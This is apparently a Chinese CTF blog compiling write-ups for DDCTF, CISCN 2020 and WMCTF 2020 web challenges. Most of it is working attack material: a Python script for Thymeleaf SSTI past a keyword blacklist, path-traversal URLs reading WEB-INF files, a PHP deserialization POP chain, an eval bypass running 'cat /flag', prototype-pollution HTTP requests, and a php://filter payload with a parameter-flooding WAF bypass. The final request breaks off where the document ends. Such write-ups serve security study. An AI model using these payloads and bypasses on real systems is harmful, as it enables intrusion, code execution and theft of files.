    xmlns:p="http://www.springframework.org/schema/p"
    xmlns:aop="http://www.springframework.org/schema/aop"
    xmlns:context="http://www.springframework.org/schema/context"
    xmlns:jee="http://www.springframework.org/schema/jee"
    xmlns:tx="http://www.springframework.org/schema/tx"
    xsi:schemaLocation="http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.0.xsd
    http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
    http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd
    http://www.springframework.org/schema/jee http://www.springframework.org/schema/jee/spring-jee-4.0.xsd
    http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-4.0.xsd">
    <import resource="classpath:spring-shiro.xml" />
    <!-- 声明自动为spring容器中那些配置@Aspectj切面的bean创建代理,织入切面 -->
    <aop:aspectj-autoproxy></aop:aspectj-autoproxy>
    <!-- 支持事物注解(@Transactional) -->
    <tx:annotation-driven/>
    <bean id="viewResolver" class="org.thymeleaf.spring4.view.ThymeleafViewResolver">
    <property name="order" value="1"/>
    <property name="characterEncoding" value="UTF-8"/>
    <property name="templateEngine" ref="templateEngine"/>
    </bean>
    <bean id="templateEngine" class="org.thymeleaf.spring4.SpringTemplateEngine">
    <property name="templateResolver" ref="templateResolver" />
    </bean>
    <bean id="templateResolver" class="org.thymeleaf.spring4.templateresolver.SpringResourceTemplateResolver">
    <property name="prefix" value="/WEB-INF/templates/"/>
    <property name="suffix" value=".html"/>
    <property name="templateMode" value="HTML5"/>
    <property name="cacheable" value="false"/>
    <property name="characterEncoding" value="UTF-8" />
    </bean>
    <context:annotation-config />
    <context:component-scan base-package="com.ctf">
    <context:include-filter type="annotation" expression="org.springframework.stereotype.Service" />
    <context:include-filter type="annotation" expression="org.springframework.stereotype.Repository" />
    </context:component-scan>
    </beans>

    http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/classes/spring-web.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:context="http://www.springframework.org/schema/context"
    xmlns:mvc="http://www.springframework.org/schema/mvc"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd">
    <!-- 自动扫描 Controller 包 -->
    <context:component-scan base-package="com.ctf.controller"/>
    <context:component-scan base-package="com.ctf.repository"/>
    <context:component-scan base-package="com.ctf.service"/>
    <!-- 注解配置和乱码处理 -->
    <mvc:annotation-driven>
    <mvc:message-converters>
    <bean class="org.springframework.http.converter.StringHttpMessageConverter">
    <constructor-arg value="UTF-8"/>
    </bean>
    </mvc:message-converters>
    </mvc:annotation-driven>
    <mvc:default-servlet-handler/>
    </beans>

    猜测他们的Auth,Login等对应的Controller类名
    http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/classes/com/ctf/controller/IndexController.class

    http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/classes/com/ctf/controller/AuthController.class

    拿到Admin的路由:http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index,同样权限绕过
    发现提示Render,盲猜又是SSTI

    检测JAVA的SSTI发现[[${7*7}]]成功执行,这是一个Thymeleaf 模板注入

进入下一步SSTI

ctfFilter过滤了:

1
private static String[] blacklists = { "java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io" };

利用Thymeleaf 特性绕过

[[*{__${#strings.replace(param.foo[0],param.bbb[0],param.t[0])}__}]]

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import re
import gen
# private static String[] blacklists = { "java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(",
# "lookup.*\\(", "\\.getMethod.*\\(",
# "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(",
# "org.+springframework", "javax.+el", "java.+io" };

code = "param.foo"
payload ='''<p th:text=${%s}></p>'''%code
cmd=payload
cmd="""[[*{__${#strings.replace(param.foo[0],param.bbb[0],param.t[0])}__}]] """
print(cmd)
burp0_url = "http://116.85.37.131:80/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://116.85.37.131", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"content": cmd}
response=requests.post(burp0_url, headers=burp0_headers, data=burp0_data).text

try:
redirect = re.search('fetch \./(.*) !', response).group(1)
except :
print(response)
url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/'
url += redirect

print(requests.get(url,params={"foo":"NEW java.util.Scanner(NEW [email protected]@der(new [email protected]@leRe@ad@er(new [email protected]@le("+gen.gen("/flag_is_here")+")))).nextLine()","bbb":'@',"t":"",'g':'ls'},proxies={"http":"http://127.0.0.1:8080"}).text)

ciscn2020easyphp出题笔记

easyphp出题笔记

这题原意是想让大家写脚本来fuzz来发现CUFA/CUF中对引用处理不恰当而造成的崩溃,特意禁止了pcntl可是由于没有认真测试,忘记了还有CUF这个函数,结果有人直接绕过了。

出题人想干的事情就是我们不让他干成就是对这种情况的最好解释。最后看到自己的题目被解成那样,我也是自闭了。

继续正题吧。

来由

之所以会出现这题是因为前段时间的wmctf的webweb反序列化出有这样一处的利用点,我为了找到合适的函数就采取fuzz,东西没发现倒是发现php崩溃了。

漏洞细节

直接去看bugs.php 上面的,会不会是因为交到bugs.php上的原因导致这么多人解了?

原解

阅读代码我们发现:if(!pcntl_wifexited($status)){phpinfo();},及fork的子进程报错就会执行phpinfo,而phpinfo里面通常包含敏感信息,和一些对我们题目有帮助的信息。

fork子进程执行的代码是:

1
2
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);

而这里调用了非常敏感的call_user_func_array,所以无论是想让子进程报错还是直接执行代码这里都是非常好的选择。因此我们先要写个fuzz脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

$payloads=[
"ls",//shell命令执行测试
"index.php",//读取文件测试
"asdfasldfjaklsdfjl.php",//创建文件/文件夹测试
"echo 123;"//php命令执行测试
];
$str=file_get_contents("fatalerr.log");
if(!$str){
$str="[]";
}
$fatalerror=eval("return ".$str.";");
function show_result($func,$r,$v){
if($r==NULL){
}
try{
echo "$func($v,false,true) return value:";
var_dump($r);
echo "<br />";
}catch(Exception $e){}
}

function brute_func($a){
global $payloads;
global $fatalerror;

foreach($a as $val){

if(is_array($val)){
brute_func($val);
continue;
}

if(in_array($val,$fatalerror)){
continue;
}
array_push($fatalerror,$val);
file_put_contents("fatalerr.log",var_export($fatalerror,TRUE));
foreach($payloads as $v){
$r=NULL;

$r=call_user_func_array($val,[$v,false,true]);
show_result($val,$r,$v);

}
array_pop($fatalerror);

}
};
$arr=get_defined_functions();
brute_func($arr);
?>

多次执行发现:

1
2
3
stream_socket_server
exec
stream_socket_client

这三个函数会引起segment_fault 且 exec虽然会引起segment fault但是仍然执行了代码,但是这里我禁用了exec所以我们用另外两个函数引起segment fault查看phpinfo,在phpinfo中找到flag。

最后

希望有师傅有不同的解可以留个言啥的谢谢啦

ciscn2020预选赛

ciscn 2020 预选赛

babyunserialize

和wmctf2020的webwebpayload相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}


namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"phpinfo"],
$adhoc=[-1=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}
namespace CLI{
class Agent {
protected
$server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=&$this;


}
};
class WS{}
}
namespace {
echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}

easyphp

阅读代码我们发现:if(!pcntl_wifexited($status)){phpinfo();},及fork的子进程报错就会执行phpinfo,而phpinfo里面通常包含敏感信息,和一些对我们题目有帮助的信息。

fork子进程执行的代码是:

1
2
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);

而这里调用了非常敏感的call_user_func_array,所以无论是想让子进程报错还是直接执行代码这里都是非常好的选择。因此我们先要写个fuzz脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

$payloads=[
"ls",//shell命令执行测试
"index.php",//读取文件测试
"asdfasldfjaklsdfjl.php",//创建文件/文件夹测试
"echo 123;"//php命令执行测试
];
$str=file_get_contents("fatalerr.log");
if(!$str){
$str="[]";
}
$fatalerror=eval("return ".$str.";");
function show_result($func,$r,$v){
if($r==NULL){
}
try{
echo "$func($v,false,true) return value:";
var_dump($r);
echo "<br />";
}catch(Exception $e){}
}

function brute_func($a){
global $payloads;
global $fatalerror;

foreach($a as $val){

if(is_array($val)){
brute_func($val);
continue;
}

if(in_array($val,$fatalerror)){
continue;
}
array_push($fatalerror,$val);
file_put_contents("fatalerr.log",var_export($fatalerror,TRUE));
foreach($payloads as $v){
$r=NULL;

$r=call_user_func_array($val,[$v,false,true]);
show_result($val,$r,$v);

}
array_pop($fatalerror);

}
};
$arr=get_defined_functions();
brute_func($arr);
?>

多次执行发现:

1
2
3
stream_socket_server
exec
stream_socket_client

这三个函数会引起segment_fault 且 exec虽然会引起segment fault但是仍然执行了代码

但是这里只需要segment_fault,所以访问?a=stream_socket_server&b=拿到flag

rceme

注意到有个eval只要绕过限制就可以执行命令了

很简单利用字符串拼接绕过

{if:+('base64_deco'.'d'.'e')('c3lzdGVt')('cat+/flag')}{end+if}

easytrick

队里的师傅做出来的,dbq,我太菜了

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class trick{
public $trick1;
public $trick2;
}


$t = new trick;
$t->trick1 = "INF";
$t->trick2 = 1e1111;
echo serialize($t);

littlegame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
λ npm audit

=== npm audit security report ===

# Run npm update set-value --depth 1 to resolve 1 vulnerability

High Prototype Pollution

Package set-value

Dependency of set-value

Path set-value

More info https://npmjs.com/advisories/1012



found 1 high severity vulnerability in 61 scanned packages
run `npm audit fix` to fix 1 of them.

原型链污染,poc地址:
https://snyk.io/vuln/SNYK-JS-SETVALUE-450213

  • 先访问一次/SpawnPoint,拿个sessionid
  • 然后访问/Privilege污染原型链(用constructor.prototype或者__proto__均可)
  • 最后访问/DeveloperControlPanel拿flag
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Privilege HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Cookie: session=yoursession

NewAttributeValue=abc&NewAttributeKey=__proto__.password4

POST /DeveloperControlPanel HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Cookie: session=yoursession

key=password4&password=abc

wmctf2020

wmctf 2020

u1s1,这次比赛质量很高

web_checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}

这题就很简单,因为flag就在/flag,直接包含拿到flag

web_checkin2

这题就很有意思了,搞了整整一天

一样的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['HTTP_X_REAL_IP']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}

这次flag不在/flag,所以我们需要命令执行

因为这个php版本是7.0.33所以string.strip_tags这个过滤器不能用,不然的话可以利用这样的payload:php://filter/write=string.strip_tags|dechunk/resource=%3f>%31%0a%3c%0a%32%36%0a%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%65%78%69%74%3b

为啥不能用嘞,因为7.0.33版本有个bug,用string.strip_tags会出现segment fault

后来我就想到了,利用segment fault,php不会删除临时文件,所以就上传文件,然后爆破文件名,但是后来题目弄了个提醒:no brute force 心态裂开

于是我们得找其他的方法,

这下彻底没招了,只能去看源代码了,在分析代码的时候发现:

image1550

php会对filter进行urldecode,美滋滋那么payload出来了

payload:

1
php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565|%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533|%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565/resource=1%09%0Fc%9DCm0%A3.%A0%FBq%2BS%82%1FQ%28d%8D%1C%07b8%9C%A0%FB%0An

但是新的问题出现了,这个网站的中间件会ban%25,送出题人一句mmp。

跨过千山万水来到这里,结果还有新的拦路虎。

一般遇到服务器中间件拦截%25的时候,我们可以试试php与中间件对数据解析的差异来绕过,或者试试http请求走私,测试后发现两种都不行

服务器过滤了%25,测试下发现这是是针对参数值的,如把%25放到参数名那里就是很ok的,然后我们就知道他是针对参数检测的,如果参数过多它还能检测吗

于是有:

1
2
3
4
5
6
7
8
9
GET /index.php/aaa/?a=&b=&c=&d=&e=&f=&g=&h=&i=&j=&k=&l=&m=&n=&o=&p=&q=&r=&s=&t=&u=&v=&w=&x=&y=&z=&A=&B=&C=&D=&E=&F=&G=&H=&I=&J=&K=&L=&M=&N=&O=&P=&Q=&R=&S=&T=&U=&V=&W=&X=&Y=&Z=&0=&1=&2=&3=&4=&5=&6=&7=&8=&9=&aa=&ab=&ac=&ad=&ae=&af=&ag=&ah=&ai=&aj=&ak=&al=&am=&an=&ao=&ap=&aq=&ar=&as=&at=&au=&av=&aw=&ax=&ay=&az=&aA=&aB=&aC=&aD=&aE=&aF=&aG=&aH=&aI=&aJ=&aK=&aL=&aM=&aN=&aO=&aP=&aQ=&aR=&aS=&aT=&aU=&aV=&aW=&aX=&aY=&aZ=&a0=&a1=&a2=&a3=&a4=&a5=&a6=&a7=&a8=&a9=&ba=&bb=&bc=&bd=&be=&bf=&bg=&bh=&bi=&bj=&bk=&bl=&bm=&bn=&bo=&bp=&bq=&br=&bs=&bt=&bu=&bv=&bw=&bx=&by=&bz=&bA=&bB=&bC=&bD=&bE=&bF=&bG=&bH=&bI=&bJ=&bK=&bL=&bM=&bN=&bO=&bP=&bQ=&bR=&bS=&bT=&bU=&bV=&bW=&bX=&bY=&bZ=&b0=&b1=&b2=&b3=&b4=&b5=&b6=&b7=&b8=&b9=&ca=&cb=&cc=&cd=&ce=&cf=&cg=&ch=&ci=&cj=&ck=&cl=&cm=&cn=&co=&cp=&cq=&cr=&cs=&ct=&cu=&cv=&cw=&cx=&cy=&cz=&cA=&cB=&cC=&cD=&cE=&cF=&cG=&cH=&cI=&content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565|%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533|%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565/resource=1%09%0Fc%9DCm0%A3.%A0%FBq%2BS%82%1FQ%28d%8D%1C%07b8%9C%A0%FB%0An&cJ=&cK=&cL=&cM=&cN=&cO=&cP=&cQ=&cR=&cS=&cT=&cU=&cV=&cW=&cX=&cY=&cZ=&c0=&c1=&c2=&c3=&c4=&c5=&c6=&c7=&c8=&c9=&da=&db=&dc=&dd=&de=&df=&dg=&dh=&di=&dj=&dk=&dl=&dm=&dn=&do=&dp=&dq=&dr=&ds=&dt=&du=&dv=&dw=&dx=&dy=&dz=&dA=&dB=&dC=&dD=&dE=&dF=&dG=&dH=&dI=&dJ=&dK=&dL=&dM=&dN=&dO=&dP=&dQ=&dR=&dS=&dT=&dU=&dV=&dW=&dX=&dY=&dZ=&d0=&d1=&d2=&d3=&d4=&d5=&d6=&d7=&d8=&d9=&ea=&eb=&ec=&ed=&ee=&ef=&eg=&eh=&ei=&ej=&ek=&el=&em=&en=&eo=&ep=&eq=&er=&es=&et=&eu=&ev=&ew=&ex=&ey=&ez=&eA=&eB=&eC=&eD=&eE=&eF=&eG=&eH=&eI=&eJ=&eK=&eL=&eM=&eN=&eO=&eP=&eQ=&eR=&eS=&eT=&eU=&eV=&eW=&eX=&eY=&eZ=&e0=&e1=&e2=&e3=&e4=&e5=&e6=&e7=&e8=&e9=&fa=&fb=&fc=&fd=&fe=&ff=&fg=&fh=&fi=&fj=&fk=&fl=&fm=&fn=&fo=&fp=&fq=&fr=&fs=&ft=&fu=&fv=&fw=&fx=&fy=&fz=&fA=&fB=&fC=&fD=&fE=&fF=&fG=&fH=&fI=&fJ=&fK=&fL=&fM=&fN=&fO=&fP=&fQ=&fR=&fS=&fT=&fU=&fV=&fW=&fX=&fY=&fZ=&f0=&f1=&f2=&f3=&f4=&f5=&f6=&f7=&f8=&f9=&ga=&gb=&gc=&gd=&ge=&gf=&gg=&gh=&gi=&gj=&gk=&gl=&gm=&gn=&go=&gp=&gq=&gr=&gs=&gt=&gu=&gv=&gw=&gx=&gy=&gz=&gA=&gB=&gC=&gD=&gE=&gF=&gG=&gH=&gI=&gJ=&gK=&gL=&gM=&gN=&gO=&gP=&gQ=&gR=&gS=&gT=&gU=&gV=&gW=&gX=&gY=&gZ=&g0=&g1=&g2=&g3=&g4=&g5=&g6=&g7=&g8=&g9=&ha=&hb=&hc=&hd=&he=&hf=&hg=&hh=&hi=&hj=&hk=&hl=&hm=&hn=&ho=&hp=&hq=&hr=&hs=&ht=&hu=&hv=&hw=&hx=&hy=&hz=&hA=&hB=&hC=&hD=&hE=&hF=&hG=&hH=&hI=&hJ=&hK=&hL=&hM=&hN=&hO=&hP=&hQ=&hR=&hS=&hT=&hU=&hV=&hW=&hX=&hY=&hZ=&h0=&h1=&h2=&h3=&h4=&h5=&h6=&h7=&h8=&h9=&ia=&ib=&ic=&id=&ie=&if=&ig=&ih=&ii=&ij=&ik=&il=&im=&in=&io=&ip=&iq=&ir=&is=&it=&iu=&iv=&iw=&ix=&iy=&iz=&iA=&iB=&iC=&iD=&iE=&iF=&iG=&iH=&iI=&iJ=&iK=&iL=&iM=&iN=&iO=&iP=&iQ=&iR=&iS=&iT=&iU=&iV=&iW=&iX=&iY=&iZ=&i0=&i1=&i2=&i3=&i4=&i5=&i6=&i7=&i8=&i9=&ja=&jb=&jc=&jd=&je=&jf=&jg=&jh=&ji=&jj=&jk=&jl=&jm=&jn=&jo=&jp=&jq=&jr=&js=&jt=&ju=&jv=&jw=&jx=&jy=&jz=&jA=&jB=&jC=&jD=&jE=&jF=&jG=&jH=&jI=&jJ=&jK=&jL=&jM=&jN=&jO=&jP=&jQ=&jR=&jS=&jT=&jU=&jV=&jW=&jX=&jY=&jZ=&j0=&j1=&j2=&j3=&j4=&j5=&j6=&j7=&j8=&j9=&ka=&kb=&kc=&kd=&ke=&kf=&kg=&kh=&ki=&kj=&kk=&kl=&km=&kn=&ko=&kp=&kq=&kr=&ks=&kt=&ku=&kv=&kw=&kx=&ky=&kz=&kA=&kB=&kC=&kD=&kE=&kF=&kG=&kH=&kI=&kJ=&kK=&kL=&kM=&kN=&kO=&kP=&kQ=&kR=&kS=&kT=&kU=&kV=&kW=&kX=&kY=&kZ=&k0=&k1=&k2=&k3=&k4=&k5=&k6=&k7=&k8=&k9=&la=&lb=&lc=&ld=&le=&lf=&lg=&lh=&li=&lj=&lk=&ll=&lm=&ln=&lo=&lp=&lq=&lr=&ls=&lt=&lu=&lv=&lw=&lx=&ly=&lz=&lA=&lB=&lC=&lD=&lE=&lF=&lG=&lH=&lI=&lJ=&lK=&lL=&lM=&lN=&lO=&lP=&lQ=&lR=&lS=&lT=&lU=&lV=&lW=&lX=&lY=&lZ=&l0=&l1=&l2=&l3=&l4=&l5=&l6=&l7=&l8=&l9=&ma=&mb=&mc=&md=&me=&mf=&mg=&mh=&mi=&mj=&mk=&ml=&mm=&mn=&mo=&mp=&mq=&mr=&ms=&mt=&mu=&mv=&mw=&mx=&my=&mz=&mA=&mB=&mC=&mD=&mE=&mF=&mG=&mH=&mI=&mJ=&mK=&mL=&mM=&mN=&mO=&mP=&mQ=&mR=&mS=&mT=&mU=&mV=&mW=&mX=&mY=&mZ=&m0=&m1=&m2=&m3=&m4=&m5=&m6=&m7=&m8=&m9=&na=&nb=&nc=&nd=&ne=&nf=&ng=&nh=&ni=&nj=&nk=&nl=&nm=&nn=&no=&np=&nq=&nr=&ns=&nt=&nu=&nv=&nw=&nx=&ny=&nz=&nA=&nB=&nC=&nD=&nE=&nF=&nG=&nH=&nI=&nJ=&nK=&nL=&nM=&nN=&nO=&nP=&nQ=&nR=&nS=&nT=&nU=&nV=&nW=&nX=&nY=&nZ=&n0=&n1=&n2=&n3=&n4=&n5=&n6=&n7=&n8=&n9=&oa=&ob=&oc=&od=&oe=&of=&og=&oh=&oi=&oj=&ok=&ol=&om=&on=&oo=&op=&oq=&or=&os=&ot=&ou=&ov=&ow=&ox=&oy=&oz=&oA=&oB=&oC=&oD=&oE=&oF=&oG=&oH=&oI=&oJ=&oK=&oL=&oM=&oN=&oO=&oP=&oQ=&oR=&oS=&oT=&oU=&oV=&oW=&oX=&oY=&oZ=&o0=&o1=&o2=&o3=&o4=&o5=&o6=&o7=&o8=&o9=&pa=&pb=&pc=&pd=&pe=&pf=&pg=&ph=&pi=&pj=&pk=&pl=&pm=&pn=&po=&pp=&pq=&pr=&ps=&pt=&pu=&pv=&pw=&px=&py=&pz=&pA=&pB=&pC=&pD=&pE=&pF=&pG=&pH=&pI=&pJ=&pK=&pL=&pM=&pN=&pO=&pP=&pQ=&pR=&pS=&pT=&pU=&pV=&pW=&pX=&pY=&pZ=&p0=&p1=&p2=&p3=&p4=&p5=&p6=&p7=&p8=&p9=&qa=&qb=&qc=&qd=&qe=&qf=&qg=&qh=&qi=&qj=&qk=&ql=&qm=&qn=&qo=&qp=&qq=&qr=&qs=&qt=&qu=&qv=&qw=&qx=&qy=&qz=&qA=&qB=&qC=&qD=&qE=&qF=&qG=&qH=&qI=&qJ=&qK=&qL=&qM=&qN=&qO=&qP=&qQ=&qR=&qS=&qT=&qU=&qV=&qW=&qX=&qY=&qZ=&q0=&q1=&q2=&q3=&q4=&q5=&q6=&q7=&q8=&q9=&ra=&rb=&rc=&rd=&re=&rf=&rg=&rh=&ri=&rj=&rk=&rl=&rm=&rn=&ro=&rp=&rq=&rr=&rs=&rt=&ru=&rv=&rw=&rx=&ry=&rz=&rA=&rB=&rC=&rD=&rE=&rF=&rG=&rH=&rI=&rJ=&rK=&rL=&rM=&rN=&rO=&rP=&rQ=&rR=&rS=&rT=&rU=&rV=&rW=&rX=&rY=&rZ=&r0=&r1=&r2=&r3=&r4=&r5=&r6=&r7=&r8=&r9=&sa=&sb=&sc=&sd=&se=&sf=&sg=&sh=&si=&sj=&sk=&sl=&sm=&sn=&so=&sp=&sq=&sr=&ss=&st=&su=&sv=&sw=&sx=&sy=&sz=&sA=&sB=&sC=&sD=&sE=&sF=&sG=&sH=&sI=&sJ=&sK=&sL=&sM=&sN=&sO=&sP=&sQ=&sR=&sS=&sT=&sU=&sV=&sW=&sX=&sY=&sZ=&s0=&s1=&s2=&s3=&s4=&s5=&s6=&s7=&s8=&s9=&ta=&tb=&tc=&td=&te=&tf=&tg=&th=&ti=&tj=&tk=&tl=&tm=&tn=&to=&tp=&tq=&tr=&ts=&tt=&tu=&tv=&tw=&tx=&ty=&tz=&tA=&tB=&tC=&tD=&tE=&tF=&tG=&tH=&tI=&tJ=&tK=&tL=&tM=&tN=&tO=&tP=&tQ=&tR=&tS=&tT=&tU=&tV=&tW=&tX=&tY=&tZ=&t0=&t1=&t2=&t3=&t4=&t5=&t6=&t7=&t8=&t9=&ua=&ub=&uc=&ud=&ue=&uf=&ug=&uh=&ui=&uj=&uk=&ul=&um=&un=&uo=&up=&uq=&ur=&us=&ut=&uu=&uv=&uw=&ux=&uy=&uz=&uA=&uB=&uC=&uD=&uE=&uF=&uG=&uH=&uI=&uJ=&uK=&uL=&uM=&uN=&uO=&uP=&uQ=&uR=&uS=&uT=&uU=&uV=&uW=&uX=&uY=&uZ=&u0=&u1=&u2=&u3=&u4=&u5=&u6=&u7=&u8=&u9=&va=&vb=&vc=&vd=&ve=&vf=&vg=&vh=&vi=&vj=&vk=&vl=&vm=&vn=&vo=&vp=&vq=&vr=&vs=&vt=&vu=&vv=&vw=&vx=&vy=&vz=&vA=&vB=&vC=&vD=&vE=&vF=&vG=&vH=&vI=&vJ=&vK=&vL=&vM=&vN=&vO=&vP=&vQ=&vR=&vS=&vT=&vU=&vV=&vW=&vX=&vY=&vZ=&v0=&v1=&v2=&v3=&v4=&v5=&v6=&v7=&v8=&v9=&wa=&wb=&wc=&wd=&we=&wf=&wg=&wh=&wi=&wj=&wk=&wl=&wm=&wn=&wo=&wp=&wq=&wr=&ws=&wt=&wu=&wv=&ww=&wx=&wy=&wz=&wA=&wB=&wC=&wD=&wE=&wF=&wG=&wH=&wI=&wJ=&wK=&wL=&wM=&wN=&wO=&wP=&wQ=&wR=&wS=&wT=&wU=&wV=&wW=&wX=&wY=&wZ=&w0=&w1=&w2=&w3=&w4=&w5=&w6=&w7=&w8=&w9=&xa=&xb=&xc=&xd=&xe=&xf=&xg=&xh=&xi=&xj=&xk=&xl=&xm=&xn=&xo=&xp=&xq=&xr=&xs=&xt=&xu=&xv=&xw=&xx=&xy=&xz=&xA=&xB=&xC=&xD=&xE=&xF=&xG=&xH=&xI=&xJ=&xK=&xL=&xM=&xN=&xO=&xP=&xQ=&xR=&xS=&xT=&xU=&xV=&xW=&xX=&xY=&xZ=&x0=&x1=&x2=&x3=&x4=&x5=&x6=&x7=&x8=&x9=&ya=&yb=&yc=&yd=&ye=&yf=&yg=&yh=&yi=&yj=&yk=&yl=&ym=&yn=&yo=&yp=&yq=&yr=&ys=&yt=&yu=&yv=&yw=&yx=&yy=&yz=&yA=&yB=&yC=&yD=&yE=&yF=&yG=&yH=&yI=&yJ=&yK=&yL=&yM=&yN=&yO=&yP=&yQ=&yR=&yS=&yT=&yU=&yV=&yW=&yX=&yY=&yZ=&y0=&y1=&y2=&y3=&y4=&y5=&y6=&y7=&y8=&y9=&za=&zb=&zc=&zd=&ze=&zf=&zg=&zh=&zi=&zj=&zk=&zl=&zm=&zn=&zo=&zp=&zq=&zr=&zs=&zt=&zu=&zv=&zw=&zx=&zy=&zz=&zA=&zB=&zC=&zD=&zE=&zF=&zG=&zH=&zI=&zJ=&zK=&zL=&zM=&zN=&zO=&zP=&zQ=&zR=&zS=&zT=&zU=&zV=&zW=&zX=&zY=&zZ=&z0=&z1=&z2=&z3=&z4=&z5=&z6=&z7=&z8=&z9=&Aa=&Ab=&Ac=&Ad=&Ae=&Af=&Ag=&Ah=&Ai=&Aj=&Ak=&Al=&Am=&An=&A